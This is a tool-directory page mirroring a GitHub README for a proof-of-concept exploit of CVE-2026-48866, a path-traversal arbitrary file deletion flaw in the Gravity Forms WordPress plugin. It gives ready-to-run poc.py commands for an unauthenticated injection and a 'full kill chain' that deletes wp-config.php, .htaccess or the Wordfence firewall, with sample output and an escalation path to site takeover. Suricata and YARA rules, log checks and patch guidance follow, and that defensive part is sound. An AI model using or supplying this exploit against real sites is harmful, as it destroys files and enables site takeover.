Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-48866 — CVE-2026-48866 — Gravity Forms <= 2.10.0.1 路径遍历任意文件删除(CVSS 9.6) | Kitploit
工具/GitHubGitHub/0xabcd01/cve-2026-48866
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试
GitHub0xabcd01/cve-2026-48866

CVE-2026-48866

CVE-2026-48866 — Gravity Forms <= 2.10.0.1 路径遍历任意文件删除(CVSS 9.6)

查看仓库
113个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-48866 CVSS 9.6 CWE-22 受影响版本 已修复版本

类型 未认证 管理员交互 WordPress Python 3 MIT

---``` ┌───────────────────────────────────────────────────────────┐ │ │ │ C V E - 2 0 2 6 - 4 8 8 6 6 │ │ │ │ Gravity Forms Path Traversal → Arbitrary File Deletion │ │ │ └───────────────────────────────────────────────────────────┘

root@kitploit:~
<h3 align="center">
  <code>gform_uploaded_files</code> 在 URL 中接受 <code>../</code>。管理员的删除点击会触发任意文件删除。
</h3>

<p align="center">
  <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-48866">NVD</a> •
  <a href="https://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-2-10-0-1-arbitrary-file-deletion-vulnerability">Patchstack</a> •
  <a href="https://github.com/codewurker/gravityforms/commit/cf2ff65133d581cfed1c308adc1621c3af1f8422">Patched Commit</a> •
  <a href="https://github.com/codewurker/gravityforms">Source Mirror</a>
</p>

---

## 目录

<table>
<tr>
<td width="50%">

**利用**
- [快速开始](#quick-start)
- [工作原理](#how-it-works)
- [影响](#impact)
- [使用](#usage)

</td>
<td width="50%">

**防御**
- [技术深入](#technical-deep-dive)
- [检测](#detection)
- [修复](#remediation)
- [参考](#references)

</td>
</tr>
</table>

---

## 快速开始```
┌─────────────────────────────────────────────────────────────────────┐
│  REQUIREMENTS                                                       │
│  ───────────────────────────────────────────────────────────────    │
│  Target    WordPress + Gravity Forms ≤ 2.10.0.1                     │
│  Form      Public form with a file upload field                     │
│  Python    3.8+ with requests                                       │
│  Auth      None (injection) / Admin creds (trigger)                 │
└─────────────────────────────────────────────────────────────────────┘
  • GitHub 所有最佳的Flutter资源、文章、视频和组件的集合列表。 #flutter #dart
  • GitHub PHP库、资源和闪亮事物的精选列表。 #php```bash git clone https://github.com/0xABCD01/CVE-2026-48866.git cd CVE-2026-48866 pip install requests

Inject only (unauthenticated — file dies when admin cleans entries)

python3 poc.py -t https://test.com -f 1 -i 3

Full kill chain (admin creds provided — immediate deletion)

python3 poc.py -t https://test.com -f 1 -i 3 --trigger --admin-user admin --admin-pass 'P@ssw0rd'

root@kitploit:~
---

## 工作原理

### 攻击流程```
  ┌───────────────────────────────────────────────────────────────────────┐
  │                        PHASE 1 — INJECTION                           │
  │                    (Unauthenticated — any visitor)                    │
  ├───────────────────────────────────────────────────────────────────────┤
  │                                                                       │
  │   ┌─────────┐    POST gform_uploaded_files     ┌──────────────────┐  │
  │   │ Attacker │ ──────────────────────────────── │  WordPress AJAX  │  │
  │   └─────────┘    {"input_3": [{"url":           │  admin-ajax.php  │  │
  │                   ".../../../../wp-config.php"}] └────────┬─────────┘  │
  │                                                          │            │
  │                  esc_url_raw() → OK (doesn't strip ../)  │            │
  │                  is_valid_url() → OK (../ is valid URL)   │            │
  │                                                          ▼            │
  │                                                 ┌──────────────────┐  │
  │                                                 │   wp_postmeta    │  │
  │                                                 │   (entry stored  │  │
  │                                                 │   WITH ../)      │  │
  │                                                 └────────┬─────────┘  │
  └──────────────────────────────────────────────────────────┼────────────┘
                                                             │
                               ┌─────────────────────────────┘
                               │  (hours, days, or weeks pass...)
                               ▼
  ┌───────────────────────────────────────────────────────────────────────┐
  │                       PHASE 2 — DELETION                             │
  │                 (Admin deletes entry — routine cleanup)               │
  ├───────────────────────────────────────────────────────────────────────┤
  │                                                                       │
  │   ┌─────────┐    delete_entry(42)              ┌──────────────────┐  │
  │   │  Admin  │ ──────────────────────────────── │  Gravity Forms   │  │
  │   └─────────┘                                  └────────┬─────────┘  │
  │                                                          │            │
  │                  get_physical_file_path()                 │            │
  │                  str_replace(url_base → path_base)        │            │
  │                  ../ SURVIVES in the path                 │            │
  │                                                          ▼            │
  │                                                 ┌──────────────────┐  │
  │                                                 │    unlink()      │  │
  │                                                 │                  │  │
  │                                                 │  /var/www/html/  │  │
  │                                                 │  wp-config.php   │  │
  │                                                 │     → DELETED    │  │
  │                                                 └──────────────────┘  │
  └───────────────────────────────────────────────────────────────────────┘

根本原因(3 行 PHP)```php

// forms_model.php — get_physical_file_path() // Converts stored URL to filesystem path via string replacement $path_info = GF_Field_FileUpload::get_file_upload_path_info( $url, $entry_id ); $file_path = str_replace( trailingslashit( $path_info['url'] ), // https://target.com/wp-content/uploads/gravity_forms/ trailingslashit( $path_info['path'] ), // /var/www/html/wp-content/uploads/gravity_forms/ $url // .../gravity_forms/../../../wp-config.php ); // Result: /var/www/html/wp-content/uploads/gravity_forms/../../../wp-config.php // OS resolves ../../../ → /var/www/html/wp-config.php

root@kitploit:~
No check exists between `str_replace()` 和 `unlink()`。漏洞就藏在这个间隙中。

---

## 影响

<table>
<tr>
<th>目标</th>
<th>效果</th>
<th>严重程度</th>
</tr>
<tr>
<td><code>wp-config.php</code></td>
<td>网站离线。WordPress 显示安装向导。攻击者将数据库指向自己的服务器,实现<strong>完全接管网站</strong>。</td>
<td align="center">严重</td>
</tr>
<tr>
<td><code>.htaccess</code></td>
<td>URL 重写和安全规则失效。目录列表暴露。</td>
<td align="center">高</td>
</tr>
<tr>
<td><code>wp-content/plugins/wordfence/wordfence.php</code></td>
<td>Wordfence WAF 停止运行。攻击者与网站之间再无防火墙。</td>
<td align="center">高</td>
</tr>
<tr>
<td><code>wp-includes/plugin.php</code></td>
<td>无插件加载。网站停止运作。</td>
<td align="center">严重</td>
</tr>
<tr>
<td><code>wp-login.php</code></td>
<td>管理员被锁定。在恢复文件之前,无人可以登录。</td>
<td align="center">中等</td>
</tr>
</table>

> *“此类漏洞常用于大规模攻击活动,一次针对数千个网站。”*
> [Patchstack 建议,2026-06-01](https://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-2-10-0-1-arbitrary-file-deletion-vulnerability)

### 删除 → RCE 升级链```
  ┌─────────────┐      ┌──────────────────┐      ┌─────────────────┐
  │ Delete       │      │ WordPress shows   │      │ Attacker sets   │
  │ wp-config.php│ ──── │ installer wizard  │ ──── │ own DB creds    │
  └─────────────┘      └──────────────────┘      └────────┬────────┘
                                                           │
                                                           ▼
                                                  ┌─────────────────┐
                                                  │ Full admin      │
                                                  │ access to site  │
                                                  │ (RCE via themes │
                                                  │  /plugin editor)│
                                                  └─────────────────┘

RCE 链需要:

  • 攻击者可控且可访问的 MySQL 服务器
  • 可访问的 WordPress 安装程序(未被托管/WAF 阻止)
  • 结果:攻击者在同一域上获得全新的 WordPress 安装,而非访问现有网站数据

用法

命令参考```

┌──────────────────────────────────────────────────────────────────────────┐ │ USAGE │ │ ───────────────────────────────────────────────────────────────────── │ │ python3 poc.py [OPTIONS] │ │ │ │ REQUIRED │ │ -t, --target TARGET Target WordPress URL │ │ -f, --form-id ID Gravity Forms form ID │ │ -i, --field-id ID File upload field ID │ │ │ │ OPTIONAL │ │ --file FILE Relative path to delete (default: │ │ wp-config.php) │ │ --depth N ../ count (default: 3) │ │ --trigger Auto-delete via admin login │ │ --admin-user USER Admin username (default: admin) │ │ --admin-pass PASS Admin password (default: admin) │ │ --proxy URL HTTP proxy for intercepting │ │ --verify-only Check target only, don't exploit │ └──────────────────────────────────────────────────────────────────────────┘

root@kitploit:~
### 示例场景

<details>
<summary><b>场景 1:静默注入(无需管理员凭据)</b></summary>```bash
python3 poc.py \
  --target https://test.com \
  --form-id 1 \
  --field-id 3
  1. PoC 获取表单页面,提取 AJAX nonce
  2. 提交带有嵌入 ../../../wp-config.php 的 URL 的 gform_uploaded_files
  3. 数据库存储包含恶意 URL 的条目
  4. 当管理员删除条目(常规清理或批量删除)时,wp-config.php 被删除

触发时间: 未知。取决于管理员行为。数小时或数周。

场景 2:完整 kill chain(提供管理员凭据)```bash python3 poc.py \ --target https://test.com \ --form-id 1 \ --field-id 3 \ --trigger \ --admin-user admin \ --admin-pass 'P@ssw0rd!' ``` 1. 阶段1:注入恶意条目(与场景1相同) 2. 阶段2:以管理员身份登录WordPress,找到被感染的条目,将其删除 3. `wp-config.php` 已消失 4. PoC 检查网站是否已关闭

触发时间: 秒级。

场景3:目标 .htaccess(需要更浅的深度)```bash python3 poc.py \ --target https://test.com \ --form-id 1 \ --field-id 3 \ --file .htaccess \ --depth 2 \ --trigger \ --admin-user admin \ --admin-pass 'P@ssw0rd!' ``` **深度解释:**``` depth 3 (default): gravity_forms/ → uploads/ → wp-content/ → WP root depth 2: gravity_forms/ → uploads/ → wp-content/ (.htaccess lives here) depth 1: gravity_forms/ → uploads/ (files in uploads dir) ```
场景 4:禁用 Wordfence 防火墙```bash python3 poc.py \ --target https://test.com \ --form-id 1 \ --field-id 3 \ --file wp-content/plugins/wordfence/wordfence.php \ --depth 1 \ --trigger \ --admin-user admin \ --admin-pass 'P@ssw0rd!' ```
场景5:通过Burp Suite路由```bash python3 poc.py \ --target https://test.com \ --form-id 1 \ --field-id 3 \ --trigger \ --admin-user admin \ --admin-pass 'P@ssw0rd!' \ --proxy http://127.0.0.1:8080 ```

示例输出```

root@kitploit:~
CVE-2026-48866 - Gravity Forms Arbitrary File Deletion
======================================================
Target:     https://test.com
Form ID:    1
Field ID:   3
File:       wp-config.php
Depth:      3
Trigger:    True

[] === Phase 1: Injecting path traversal payload === [] Fetching form page to get nonce... [+] Got nonce: a1b2c3d4e5f6 [] Crafted payload URL: https://test.com/wp-content/uploads/gravity_forms/../../../wp-config.php [] Submitting form 1 to https://test.com/wp-admin/admin-ajax.php... [*] Response status: 200 [+] Form submitted successfully. Malicious URL stored in entry.

[] === Phase 2: Triggering file deletion as admin === [+] Logged in as admin [+] Found latest entry ID: 42 [] Deleting entry 42... [+] Entry deleted. If the target file existed, it should now be deleted.

[*] Checking target site health... [!!!] Site returned error - wp-config.php may have been deleted!

root@kitploit:~
---

## 技术深度解析

### 调用栈:注入路径```
wp_ajax_nopriv_gform_submit_form                     ← WordPress AJAX, NO AUTH
  └─ GF_Ajax_Handler::submit_form()
      └─ GFAPI::submit_form()
          └─ GFFormDisplay::process_form()
              ├─ GFFormsModel::set_uploaded_files()          [forms_model.php]
              │   └─ esc_url_raw( $file['url'] )             ← does NOT strip ../
              └─ GF_Field_FileUpload::get_value_save_entry() [class-gf-field-fileupload.php]
                  └─ get_multifile_value()
                      ├─ GFCommon::is_valid_url($url)        ← format-only, ../ passes
                      └─ $uploaded_files[] = $file['url']     ← STORED WITH ../

调用栈: 删除路径```

GFFormsModel::delete_lead() [forms_model.php] └─ GFFormsModel::delete_files( $entry_id ) └─ delete_physical_file( $file_url, $entry_id ) ├─ get_physical_file_path( $url ) │ └─ str_replace( url_base, path_base, $url ) ← ../ PRESERVED ├─ file_exists( $file_path ) ← OS resolves ../ └─ unlink( $file_path ) ← ARBITRARY FILE DELETED

root@kitploit:~
### 漏洞版本 vs 已修复版本

<table>
<tr>
<th width="50%">有漏洞版本 (≤ 2.10.0.1)</th>
<th width="50%">已修复版本 (2.10.1)</th>
</tr>
<tr>
<td>```php
// delete_physical_file() — NO validation
$file_path = self::get_physical_file_path(
    $url, $entry_id
);
$file_path = apply_filters(
    'gform_file_path_pre_delete_file',
    $file_path, $url
);
// ← No check here
if ( file_exists( $file_path ) ) {
    $result = unlink( $file_path );
}
```php // delete_physical_file() — WITH validation $file_path = self::get_physical_file_path( $url, $entry_id ); $file_path = apply_filters( 'gform_file_path_pre_delete_file', $file_path, $url ); // NEW: verify path is in uploads if ( ! GFCommon::is_file_in_uploads($url) ) { GFCommon::log_debug(__METHOD__ . sprintf(': Not deleting: %s', $file_path)); return; } if ( file_exists( $file_path ) ) { $result = unlink( $file_path ); } ```

补丁函数 (v2.10.1)

GFCommon::get_absolute_path() 通过遍历路径段来解析 . 和 ..:```php public static function get_absolute_path( $path ) { $path = str_replace( array( '/', '\' ), DIRECTORY_SEPARATOR, $path ); $path = str_replace( '://', '|%%protocol%%|', $path ); $parts = array_filter( explode( DIRECTORY_SEPARATOR, $path ), 'strlen' ); $absolutes = array();

root@kitploit:~
foreach ( $parts as $part ) {
    if ( '.' == $part ) { continue; }
    if ( '..' == $part ) {
        array_pop( $absolutes );
    } else {
        $absolutes[] = $part;
    }
}

$path = implode( DIRECTORY_SEPARATOR, $absolutes );
return str_replace( '|%%protocol%%|', '://', $path );

}

root@kitploit:~
**`GFCommon::is_file_in_uploads()`** 将解析后的路径与上传根目录进行比较:```php
public static function is_file_in_uploads( $file ) {
    $file_path = self::get_absolute_path( $file );
    $root_url  = rgar(
        GF_Field_FileUpload::get_file_upload_path_info( '' ), 'url'
    );
    if ( ! str_starts_with( $file_path, $root_url ) ) {
        return false;
    }
    return true;
}

提交参考


检测

网络:Suricata 规则```suricata

Rule 1: Detect ../ traversal in gform_uploaded_files

alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2026-48866 Gravity Forms Path Traversal in gform_uploaded_files";
flow:established,to_server;
http.method; content:"POST";
http.request_body; content:"gform_uploaded_files";
content:"../"; distance:0;
reference:cve,2026-48866;
classtype:web-application-attack;
sid:2026048866; rev:1;)

Rule 2: URL-encoded variant (%2e%2e)

alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2026-48866 Gravity Forms Path Traversal (URL-encoded)";
flow:established,to_server;
http.method; content:"POST";
http.request_body; content:"gform_uploaded_files";
content:"%2e%2e"; nocase; distance:0;
reference:cve,2026-48866;
classtype:web-application-attack;
sid:2026048867; rev:1;)

Rule 3: "url" key with traversal nearby

alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2026-48866 Gravity Forms Malicious URL in Upload Parameter";
flow:established,to_server;
http.method; content:"POST";
http.request_body; content:"gform_uploaded_files";
content:"|22|url|22|"; distance:0;
content:".."; distance:0; within:200;
reference:cve,2026-48866;
classtype:web-application-attack;
sid:2026048868; rev:1;)

root@kitploit:~
### 主机:YARA Rules```yara
rule CVE_2026_48866_Exploit_Payload {
    meta:
        description = "Detects CVE-2026-48866 payload in HTTP POST data or logs"
        cve         = "CVE-2026-48866"
        severity    = "critical"
        author      = "security-research"
    strings:
        $gform_param = "gform_uploaded_files"
        $traversal1  = "../"
        $traversal2  = "..\\"
        $traversal3  = "%2e%2e%2f" nocase
        $traversal4  = "..%2f" nocase
        $url_key     = "\"url\""
    condition:
        $gform_param and $url_key and any of ($traversal*)
}

rule CVE_2026_48866_Vulnerable_Plugin {
    meta:
        description = "Detects vulnerable Gravity Forms lacking is_file_in_uploads fix"
        cve         = "CVE-2026-48866"
        severity    = "high"
    strings:
        $plugin_id = "gravityforms"
        $vuln_func = "delete_physical_file"
        $fix_func  = "is_file_in_uploads"
    condition:
        $plugin_id and $vuln_func and not $fix_func
}

rule CVE_2026_48866_Patched_Plugin {
    meta:
        description = "Confirms Gravity Forms has the is_file_in_uploads patch"
        cve         = "CVE-2026-48866"
        severity    = "informational"
    strings:
        $plugin_id   = "gravityforms"
        $fix_func    = "is_file_in_uploads"
        $fix_helper  = "get_absolute_path"
    condition:
        $plugin_id and $fix_func and $fix_helper
}

思考:```bash

Scan your Gravity Forms installation

yara -r CVE_2026_48866.yar /var/www/html/wp-content/plugins/gravityforms/

root@kitploit:~
| 规则 | 发现 |
|---|---|
| `CVE_2026_48866_Exploit_Payload` | HTTP日志或POST正文中的漏洞利用负载 |
| `CVE_2026_48866_Vulnerable_Plugin` | 未安装修复程序的Gravity Forms |
| `CVE_2026_48866_Patched_Plugin` | 已安装修复程序的Gravity Forms |

### 日志分析```bash
# Apache / Nginx access logs — find exploitation attempts
grep -E 'gform_uploaded_files.*(\.\./|%2e%2e)' /var/log/apache2/access.log
grep -E 'gform_uploaded_files.*(\.\./|%2e%2e)' /var/log/nginx/access.log

# Gravity Forms debug log — check for blocked deletions
grep "Not deleting file from URL" /var/www/html/wp-content/uploads/gravity_forms/debug.log

# Verify your install has the fix
grep -r "is_file_in_uploads" /var/www/html/wp-content/plugins/gravityforms/
# → Results in common.php = patched
# → No results = VULNERABLE

修复```

┌─────────────────────────────────────────────────────────────────────────┐ │ REMEDIATION CHECKLIST │ │ ───────────────────────────────────────────────────────────────────── │ │ │ │ [ ] 1. UPDATE Gravity Forms to ≥ 2.10.1 │ │ [ ] 2. VERIFY fix is present (grep for is_file_in_uploads) │ │ [ ] 3. AUDIT access logs for past exploitation attempts │ │ [ ] 4. DEPLOY Suricata/WAF rules as interim protection │ │ [ ] 5. CHECK file integrity (were any core files already deleted?) │ │ [ ] 6. MONITOR for new entries with suspicious file URLs │ │ │ └─────────────────────────────────────────────────────────────────────────┘

root@kitploit:~
| Priority | Action | Command |
|---|---|---|
| P0 | 更新 Gravity Forms | WordPress 后台 → 插件 → 更新 |
| P1 | 验证补丁 | `grep -r "is_file_in_uploads" wp-content/plugins/gravityforms/` |
| P2 | 审计日志 | `grep -E 'gform_uploaded_files.*\.\./' /var/log/*/access.log` |
| P3 | 部署 WAF 规则 | 参见上文[检测](#detection)部分 |

---

## 免责声明```
┌─────────────────────────────────────────────────────────────────────────┐
│  LEGAL NOTICE                                                           │
│  ─────────────────────────────────────────────────────────────────────  │
│                                                                         │
│  This tool is provided for AUTHORIZED SECURITY TESTING and EDUCATIONAL  │
│  PURPOSES ONLY. Unauthorized access to computer systems is illegal      │
│  under the Computer Fraud and Abuse Act (CFAA), EU Computer Misuse      │
│  Directive, and equivalent laws worldwide.                              │
│                                                                         │
│  • Always obtain WRITTEN PERMISSION before testing systems you own.    │
│  • You are responsible for complying with all applicable laws.          │
│  • The authors assume NO LIABILITY for misuse of this software.         │
│                                                                         │
│  If you find this vulnerability in production: REPORT IT.               │
│  Patchstack: https://patchstack.com/database/                           │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘

参考资料


专为授权渗透测试设计 感谢星标

下载工具
版本提交描述
v2.10.086bf7b9存在漏洞。delete_physical_file() 中未进行路径验证
v2.10.1cf2ff65已修复。在 unlink() 之前添加了 is_file_in_uploads() 防护检查
来源链接状态
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-48866已验证
Patchstack 公告https://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-2-10-0-1-arbitrary-file-deletion-vulnerability已验证
Gravity Forms 变更日志https://docs.gravityforms.com/gravityforms-change-log/已验证
源代码(镜像)https://github.com/codewurker/gravityforms已验证
存在漏洞的提交 (v2.10.0)https://github.com/codewurker/gravityforms/commit/86bf7b9ecf14fd4a826a741a1ae180040589ebed已验证
补丁提交 (v2.10.1)https://github.com/codewurker/gravityforms/commit/cf2ff65133d581cfed1c308adc1621c3af1f8422已验证
CWE-22https://cwe.mitre.org/data/definitions/22.html已验证
MITRE CVEhttps://www.cve.org/CVERecord?id=CVE-2026-48866尚未填充